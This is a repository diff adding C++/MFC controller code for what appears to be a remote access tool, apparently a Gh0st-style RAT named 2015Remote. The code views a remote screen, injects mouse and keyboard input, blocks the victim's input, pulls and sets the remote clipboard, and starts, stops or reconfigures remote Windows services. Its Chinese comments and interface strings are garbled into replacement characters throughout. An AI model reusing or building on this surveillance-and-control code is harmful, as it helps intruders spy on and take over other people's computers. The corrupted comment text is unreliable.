||||||
|
rep movsb
|
||||||
|
CopyEnd:
|
||||||
|
cmp ebx, 0 // <20>Ƿ<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
jnz CopyNextBlock
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bChange)
|
||||||
|
{
|
||||||
|
PostMessage(WM_PAINT);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CScreenSpyDlg::OnPaint()
|
||||||
|
{
|
||||||
|
CPaintDC dc(this); // device context for painting
|
||||||
|
// TODO: <20>ڴ˴<DAB4><CBB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
// <20><>Ϊ<EFBFBD><CEAA>ͼ<EFBFBD><CDBC>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD> CDialog::OnPaint()
|
||||||
|
|
||||||
|
if (m_bIsFirst)
|
||||||
|
{
|
||||||
|
DrawTipString("<EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD>......");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
BitBlt(m_hFullDC,0,0,
|
||||||
|
m_BitmapInfor_Full->bmiHeader.biWidth,
|
||||||
|
m_BitmapInfor_Full->bmiHeader.biHeight,
|
||||||
|
m_hFullMemDC,
|
||||||
|
m_ulHScrollPos,
|
||||||
|
m_ulVScrollPos,
|
||||||
|
SRCCOPY
|
||||||
|
);
|
||||||
|
|
||||||
|
if (m_bIsTraceCursor)
|
||||||
|
DrawIconEx(
|
||||||
|
m_hFullDC,
|
||||||
|
m_ClientCursorPos.x - m_ulHScrollPos,
|
||||||
|
m_ClientCursorPos.y - m_ulVScrollPos,
|
||||||
|
m_hIcon,
|
||||||
|
0,0,
|
||||||
|
0,
|
||||||
|
NULL,
|
||||||
|
DI_NORMAL | DI_COMPAT
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CScreenSpyDlg::DrawTipString(CString strString)
|
||||||
|
{
|
||||||
|
RECT Rect;
|
||||||
|
GetClientRect(&Rect);
|
||||||
|
//COLORREF<45><46><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>RGB<47><42>ɫ
|
||||||
|
COLORREF BackgroundColor = RGB(0x00, 0x00, 0x00);
|
||||||
|
COLORREF OldBackgroundColor = SetBkColor(m_hFullDC, BackgroundColor);
|
||||||
|
COLORREF OldTextColor = SetTextColor(m_hFullDC, RGB(0xff,0x00,0x00));
|
||||||
|
//ExtTextOut<75><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ṩһ<E1B9A9><D2BB><EFBFBD>ɹ<EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD>ľ<EFBFBD><C4BE>Σ<EFBFBD><CEA3>õ<EFBFBD>ǰѡ<C7B0><D1A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>塢<EFBFBD><E5A1A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>
|
||||||
|
ExtTextOut(m_hFullDC, 0, 0, ETO_OPAQUE, &Rect, NULL, 0, NULL);
|
||||||
|
|
||||||
|
DrawText (m_hFullDC, strString, -1, &Rect,
|
||||||
|
DT_SINGLELINE | DT_CENTER | DT_VCENTER);
|
||||||
|
|
||||||
|
SetBkColor(m_hFullDC, BackgroundColor);
|
||||||
|
SetTextColor(m_hFullDC, OldBackgroundColor);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||||
|
{
|
||||||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
||||||
|
|
||||||
|
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||||||
|
|
||||||
|
switch (nID)
|
||||||
|
{
|
||||||
|
case IDM_CONTROL:
|
||||||
|
{
|
||||||
|
m_bIsCtrl = !m_bIsCtrl;
|
||||||
|
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); //<2F>˵<EFBFBD><CBB5><EFBFBD>ʽ
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IDM_SAVEDIB: // <20><><EFBFBD>ձ<EFBFBD><D5B1><EFBFBD>
|
||||||
|
{
|
||||||
|
SaveSnapshot();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case IDM_TRACE_CURSOR: // <20><><EFBFBD>ٱ<EFBFBD><D9B1>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
m_bIsTraceCursor = !m_bIsTraceCursor; //<2F><><EFBFBD><EFBFBD><EFBFBD>ڸı<DAB8><C4B1><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);//<2F>ڲ˵<DAB2><CBB5><EFBFBD><F2B9B3B2><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
// <20>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||||
|
OnPaint();
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case IDM_BLOCK_INPUT: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD>
|
||||||
|
{
|
||||||
|
BOOL bIsChecked = SysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED;
|
||||||
|
SysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||||||
|
|
||||||
|
BYTE bToken[2];
|
||||||
|
bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
|
||||||
|
bToken[1] = !bIsChecked;
|
||||||
|
m_iocpServer->OnClientPreSending(m_ContextObject, bToken, sizeof(bToken));
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IDM_GET_CLIPBOARD: //<2F><>ҪClient<6E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
|
||||||
|
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(bToken));
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case IDM_SET_CLIPBOARD: //<2F><><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
SendServerClipboard();
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CDialog::OnSysCommand(nID, lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
|
||||||
|
{
|
||||||
|
#define MAKEDWORD(h,l) (((unsigned long)h << 16) | l)
|
||||||
|
switch (pMsg->message)
|
||||||
|
{
|
||||||
|
case WM_LBUTTONDOWN:
|
||||||
|
case WM_LBUTTONUP:
|
||||||
|
case WM_RBUTTONDOWN:
|
||||||
|
case WM_RBUTTONUP:
|
||||||
|
case WM_MOUSEMOVE:
|
||||||
|
case WM_LBUTTONDBLCLK:
|
||||||
|
case WM_RBUTTONDBLCLK:
|
||||||
|
case WM_MBUTTONDOWN:
|
||||||
|
case WM_MBUTTONUP:
|
||||||
|
case WM_MOUSEWHEEL:
|
||||||
|
{
|
||||||
|
MSG Msg;
|
||||||
|
memcpy(&Msg, pMsg, sizeof(MSG));
|
||||||
|
Msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_ulVScrollPos, LOWORD(pMsg->lParam) + m_ulHScrollPos);
|
||||||
|
Msg.pt.x += m_ulHScrollPos;
|
||||||
|
Msg.pt.y += m_ulVScrollPos;
|
||||||
|
SendCommand(&Msg);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case WM_KEYDOWN:
|
||||||
|
case WM_KEYUP:
|
||||||
|
case WM_SYSKEYDOWN:
|
||||||
|
case WM_SYSKEYUP:
|
||||||
|
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
|
||||||
|
{
|
||||||
|
MSG Msg;
|
||||||
|
memcpy(&Msg, pMsg, sizeof(MSG));
|
||||||
|
Msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_ulVScrollPos, LOWORD(pMsg->lParam) + m_ulHScrollPos);
|
||||||
|
Msg.pt.x += m_ulHScrollPos;
|
||||||
|
Msg.pt.y += m_ulVScrollPos;
|
||||||
|
SendCommand(&Msg);
|
||||||
|
}
|
||||||
|
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
|
||||||
|
return true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
return CDialog::PreTranslateMessage(pMsg);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID CScreenSpyDlg::SendCommand(MSG* Msg)
|
||||||
|
{
|
||||||
|
if (!m_bIsCtrl)
|
||||||
|
return;
|
||||||
|
|
||||||
|
LPBYTE szData = new BYTE[sizeof(MSG) + 1];
|
||||||
|
szData[0] = COMMAND_SCREEN_CONTROL;
|
||||||
|
memcpy(szData + 1, Msg, sizeof(MSG));
|
||||||
|
m_iocpServer->OnClientPreSending(m_ContextObject, szData, sizeof(MSG) + 1);
|
||||||
|
|
||||||
|
delete[] szData;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CScreenSpyDlg::SaveSnapshot(void)
|
||||||
|
{
|
||||||
|
CString strFileName = m_strClientIP + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.bmp");
|
||||||
|
CFileDialog Dlg(FALSE, "bmp", strFileName, OFN_OVERWRITEPROMPT, "λͼ<EFBFBD>ļ<EFBFBD>(*.bmp)|*.bmp|", this);
|
||||||
|
if(Dlg.DoModal () != IDOK)
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
BITMAPFILEHEADER BitMapFileHeader;
|
||||||
|
LPBITMAPINFO BitMapInfor = m_BitmapInfor_Full; //1920 1080 1 0000
|
||||||
|
CFile File;
|
||||||
|
if (!File.Open( Dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
|
||||||
|
{
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// BITMAPINFO<46><4F>С
|
||||||
|
//+ (BitMapInfor->bmiHeader.biBitCount > 16 ? 1 : (1 << BitMapInfor->bmiHeader.biBitCount)) * sizeof(RGBQUAD);
|
||||||
|
//bmp fjkdfj dkfjkdfj [][][][]
|
||||||
|
int nbmiSize = sizeof(BITMAPINFO);
|
||||||
|
|
||||||
|
//Э<><D0AD> TCP У<><D0A3>ֵ
|
||||||
|
BitMapFileHeader.bfType = ((WORD) ('M' << 8) | 'B');
|
||||||
|
BitMapFileHeader.bfSize = BitMapInfor->bmiHeader.biSizeImage + sizeof(BitMapFileHeader); //8421
|
||||||
|
BitMapFileHeader.bfReserved1 = 0; //8000
|
||||||
|
BitMapFileHeader.bfReserved2 = 0;
|
||||||
|
BitMapFileHeader.bfOffBits = sizeof(BitMapFileHeader) + nbmiSize;
|
||||||
|
|
||||||
|
File.Write(&BitMapFileHeader, sizeof(BitMapFileHeader));
|
||||||
|
File.Write(BitMapInfor, nbmiSize);
|
||||||
|
|
||||||
|
File.Write(m_BitmapData_Full, BitMapInfor->bmiHeader.biSizeImage);
|
||||||
|
File.Close();
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID CScreenSpyDlg::UpdateServerClipboard(char *szBuffer,ULONG ulLength)
|
||||||
|
{
|
||||||
|
if (!::OpenClipboard(NULL))
|
||||||
|
return;
|
||||||
|
|
||||||
|
::EmptyClipboard();
|
||||||
|
HGLOBAL hGlobal = GlobalAlloc(GPTR, ulLength);
|
||||||
|
if (hGlobal != NULL) {
|
||||||
|
|
||||||
|
char* szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
||||||
|
memcpy(szClipboardVirtualAddress,szBuffer,ulLength);
|
||||||
|
GlobalUnlock(hGlobal);
|
||||||
|
SetClipboardData(CF_TEXT, hGlobal);
|
||||||
|
GlobalFree(hGlobal);
|
||||||
|
}
|
||||||
|
CloseClipboard();
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CScreenSpyDlg::SendServerClipboard(void)
|
||||||
|
{
|
||||||
|
if (!::OpenClipboard(NULL)) //<2F><EFBFBD><F2BFAABC>а<EFBFBD><D0B0>豸
|
||||||
|
return;
|
||||||
|
HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ڴ<EFBFBD>
|
||||||
|
if (hGlobal == NULL)
|
||||||
|
{
|
||||||
|
::CloseClipboard();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
int iPacketLength = GlobalSize(hGlobal) + 1;
|
||||||
|
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //<2F><><EFBFBD><EFBFBD>
|
||||||
|
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||||||
|
|
||||||
|
szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD;
|
||||||
|
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||||||
|
::GlobalUnlock(hGlobal);
|
||||||
|
::CloseClipboard();
|
||||||
|
m_iocpServer->OnClientPreSending(m_ContextObject,(PBYTE)szBuffer, iPacketLength);
|
||||||
|
delete[] szBuffer;
|
||||||
|
}
|
||||||
61
server/2015Remote/ScreenSpyDlg.h
Normal file
61
server/2015Remote/ScreenSpyDlg.h
Normal file
@@ -0,0 +1,61 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "IOCPServer.h"
|
||||||
|
|
||||||
|
// CScreenSpyDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
class CScreenSpyDlg : public CDialog
|
||||||
|
{
|
||||||
|
DECLARE_DYNAMIC(CScreenSpyDlg)
|
||||||
|
|
||||||
|
public:
|
||||||
|
//CScreenSpyDlg(CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||||
|
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
|
||||||
|
virtual ~CScreenSpyDlg();
|
||||||
|
|
||||||
|
CONTEXT_OBJECT* m_ContextObject;
|
||||||
|
IOCPServer* m_iocpServer;
|
||||||
|
|
||||||
|
VOID CScreenSpyDlg::SendNext(void);
|
||||||
|
VOID CScreenSpyDlg::OnReceiveComplete();
|
||||||
|
HDC m_hFullDC;
|
||||||
|
HDC m_hFullMemDC;
|
||||||
|
HBITMAP m_BitmapHandle;
|
||||||
|
PVOID m_BitmapData_Full;
|
||||||
|
LPBITMAPINFO m_BitmapInfor_Full;
|
||||||
|
VOID CScreenSpyDlg::DrawFirstScreen(void);
|
||||||
|
VOID CScreenSpyDlg::DrawNextScreenDiff(void);
|
||||||
|
BOOL m_bIsFirst;
|
||||||
|
ULONG m_ulHScrollPos;
|
||||||
|
ULONG m_ulVScrollPos;
|
||||||
|
VOID CScreenSpyDlg::DrawTipString(CString strString);
|
||||||
|
|
||||||
|
HICON m_hIcon;
|
||||||
|
HICON m_hCursor;
|
||||||
|
POINT m_ClientCursorPos;
|
||||||
|
CString m_strClientIP;
|
||||||
|
BOOL m_bIsTraceCursor;
|
||||||
|
VOID CScreenSpyDlg::SendCommand(MSG* Msg);
|
||||||
|
|
||||||
|
VOID CScreenSpyDlg::UpdateServerClipboard(char *szBuffer,ULONG ulLength);
|
||||||
|
VOID CScreenSpyDlg::SendServerClipboard(void);
|
||||||
|
|
||||||
|
BOOL m_bIsCtrl;
|
||||||
|
LPBYTE m_szData;
|
||||||
|
BOOL m_bSend;
|
||||||
|
ULONG m_ulMsgCount;
|
||||||
|
|
||||||
|
BOOL CScreenSpyDlg::SaveSnapshot(void);
|
||||||
|
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
enum { IDD = IDD_DIALOG_SCREEN_SPY };
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
public:
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
afx_msg void OnClose();
|
||||||
|
afx_msg void OnPaint();
|
||||||
|
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||||
|
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||||
|
};
|
||||||
196
server/2015Remote/ServicesDlg.cpp
Normal file
196
server/2015Remote/ServicesDlg.cpp
Normal file
@@ -0,0 +1,196 @@
|
|||||||
|
// ServicesDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "2015Remote.h"
|
||||||
|
#include "ServicesDlg.h"
|
||||||
|
#include "afxdialogex.h"
|
||||||
|
|
||||||
|
|
||||||
|
// CServicesDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
IMPLEMENT_DYNAMIC(CServicesDlg, CDialog)
|
||||||
|
|
||||||
|
|
||||||
|
CServicesDlg::CServicesDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||||
|
: CDialog(CServicesDlg::IDD, pParent)
|
||||||
|
{
|
||||||
|
m_ContextObject = ContextObject;
|
||||||
|
m_iocpServer = IOCPServer;
|
||||||
|
}
|
||||||
|
|
||||||
|
CServicesDlg::~CServicesDlg()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void CServicesDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
CDialog::DoDataExchange(pDX);
|
||||||
|
DDX_Control(pDX, IDC_LIST, m_ControlList);
|
||||||
|
DDX_Control(pDX, IDC_STATIC_COUNT, m_ServicesCount);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CServicesDlg, CDialog)
|
||||||
|
ON_WM_CLOSE()
|
||||||
|
ON_COMMAND(ID_SERVICES_AUTO, &CServicesDlg::OnServicesAuto)
|
||||||
|
ON_COMMAND(ID_SERVICES_MANUAL, &CServicesDlg::OnServicesManual)
|
||||||
|
ON_COMMAND(ID_SERVICES_STOP, &CServicesDlg::OnServicesStop)
|
||||||
|
ON_COMMAND(ID_SERVICES_START, &CServicesDlg::OnServicesStart)
|
||||||
|
ON_COMMAND(ID_SERVICES_REFLASH, &CServicesDlg::OnServicesReflash)
|
||||||
|
ON_NOTIFY(NM_RCLICK, IDC_LIST, &CServicesDlg::OnNMRClickList)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
|
// CServicesDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
|
BOOL CServicesDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
CString strString;
|
||||||
|
sockaddr_in ClientAddress;
|
||||||
|
memset(&ClientAddress, 0, sizeof(ClientAddress));
|
||||||
|
int iClientAddressLength = sizeof(ClientAddress);
|
||||||
|
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength);
|
||||||
|
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "");
|
||||||
|
SetWindowText(strString);
|
||||||
|
|
||||||
|
m_ControlList.SetExtendedStyle( LVS_EX_FULLROWSELECT);
|
||||||
|
m_ControlList.InsertColumn(0, "<EFBFBD><EFBFBD>ʵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 150);
|
||||||
|
m_ControlList.InsertColumn(1, "<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 260);
|
||||||
|
m_ControlList.InsertColumn(2, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 80);
|
||||||
|
m_ControlList.InsertColumn(3, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬", LVCFMT_LEFT, 80);
|
||||||
|
m_ControlList.InsertColumn(4, "<EFBFBD><EFBFBD>ִ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>·<EFBFBD><EFBFBD>", LVCFMT_LEFT, 380);
|
||||||
|
|
||||||
|
ShowServicesList();
|
||||||
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
|
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||||
|
}
|
||||||
|
|
||||||
|
int CServicesDlg::ShowServicesList(void)
|
||||||
|
{
|
||||||
|
char *szBuffer = (char *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1));
|
||||||
|
char *szDisplayName;
|
||||||
|
char *szServiceName;
|
||||||
|
char *szRunWay;
|
||||||
|
char *szAutoRun;
|
||||||
|
char *szFilePath;
|
||||||
|
DWORD dwOffset = 0;
|
||||||
|
m_ControlList.DeleteAllItems();
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; i++)
|
||||||
|
{
|
||||||
|
szDisplayName = szBuffer + dwOffset;
|
||||||
|
szServiceName = szDisplayName + lstrlen(szDisplayName) +1;
|
||||||
|
szFilePath= szServiceName + lstrlen(szServiceName) +1;
|
||||||
|
szRunWay = szFilePath + lstrlen(szFilePath) + 1;
|
||||||
|
szAutoRun = szRunWay + lstrlen(szRunWay) + 1;
|
||||||
|
|
||||||
|
m_ControlList.InsertItem(i, szServiceName);
|
||||||
|
m_ControlList.SetItemText(i, 1, szDisplayName);
|
||||||
|
m_ControlList.SetItemText(i, 2, szAutoRun);
|
||||||
|
m_ControlList.SetItemText(i, 3, szRunWay);
|
||||||
|
m_ControlList.SetItemText(i, 4, szFilePath );
|
||||||
|
|
||||||
|
dwOffset += lstrlen(szDisplayName) + lstrlen(szServiceName) + lstrlen(szFilePath) + lstrlen(szRunWay)
|
||||||
|
+ lstrlen(szAutoRun) +5;
|
||||||
|
}
|
||||||
|
|
||||||
|
CString strTemp;
|
||||||
|
strTemp.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:%d",i);
|
||||||
|
|
||||||
|
m_ServicesCount.SetWindowText(strTemp);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CServicesDlg::OnClose()
|
||||||
|
{
|
||||||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
||||||
|
m_ContextObject->v1 = 0;
|
||||||
|
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||||||
|
closesocket(m_ContextObject->sClientSocket);
|
||||||
|
CDialog::OnClose();
|
||||||
|
delete this;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CServicesDlg::OnServicesAuto()
|
||||||
|
{
|
||||||
|
ServicesConfig(3);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CServicesDlg::OnServicesManual()
|
||||||
|
{
|
||||||
|
ServicesConfig(4);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CServicesDlg::OnServicesStop()
|
||||||
|
{
|
||||||
|
ServicesConfig(2);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CServicesDlg::OnServicesStart()
|
||||||
|
{
|
||||||
|
ServicesConfig(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CServicesDlg::OnServicesReflash()
|
||||||
|
{
|
||||||
|
BYTE bToken = COMMAND_SERVICELIST; //ˢ<><CBA2>
|
||||||
|
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CServicesDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
|
||||||
|
{
|
||||||
|
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||||
|
|
||||||
|
CMenu Menu;
|
||||||
|
Menu.LoadMenu(IDR_MENU_SERVICES);
|
||||||
|
CMenu *SubMenu=Menu.GetSubMenu(0);
|
||||||
|
CPoint Point;
|
||||||
|
GetCursorPos(&Point);
|
||||||
|
SubMenu->TrackPopupMenu(TPM_LEFTALIGN|TPM_LEFTBUTTON,Point.x,Point.y,this);
|
||||||
|
*pResult = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CServicesDlg::OnReceiveComplete(void)
|
||||||
|
{
|
||||||
|
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
|
||||||
|
{
|
||||||
|
case TOKEN_SERVERLIST:
|
||||||
|
ShowServicesList();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
// <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CServicesDlg::ServicesConfig(BYTE bCmd)
|
||||||
|
{
|
||||||
|
DWORD dwOffset = 2;
|
||||||
|
POSITION Pos = m_ControlList.GetFirstSelectedItemPosition();
|
||||||
|
int iItem = m_ControlList.GetNextSelectedItem(Pos);
|
||||||
|
|
||||||
|
CString strServicesName = m_ControlList.GetItemText(iItem, 0 );
|
||||||
|
char* szServiceName = strServicesName.GetBuffer(0);
|
||||||
|
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 3 + lstrlen(szServiceName)); //[][][]\0
|
||||||
|
szBuffer[0] = COMMAND_SERVICECONFIG;
|
||||||
|
szBuffer[1] = bCmd;
|
||||||
|
|
||||||
|
|
||||||
|
memcpy(szBuffer + dwOffset, szServiceName, lstrlen(szServiceName)+1);
|
||||||
|
|
||||||
|
m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, LocalSize(szBuffer));
|
||||||
|
LocalFree(szBuffer);
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user